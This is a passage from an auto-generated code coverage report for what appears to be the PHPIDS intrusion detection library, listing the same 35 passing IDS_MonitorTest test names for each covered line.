class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel339": { - "header": "35 tests cover line 339", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel341": { - "header": "35 tests cover line 341", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel342": { - "header": "35 tests cover line 342", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel343": { - "header": "35 tests cover line 343", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel344": { - "header": "35 tests cover line 344", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel345": { - "header": "35 tests cover line 345", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel347": { - "header": "35 tests cover line 347", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel361": { - "header": "35 tests cover line 361", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel362": { - "header": "35 tests cover line 362", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel363": { - "header": "35 tests cover line 363", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel364": { - "header": "35 tests cover line 364", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel366": { - "header": "35 tests cover line 366", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li 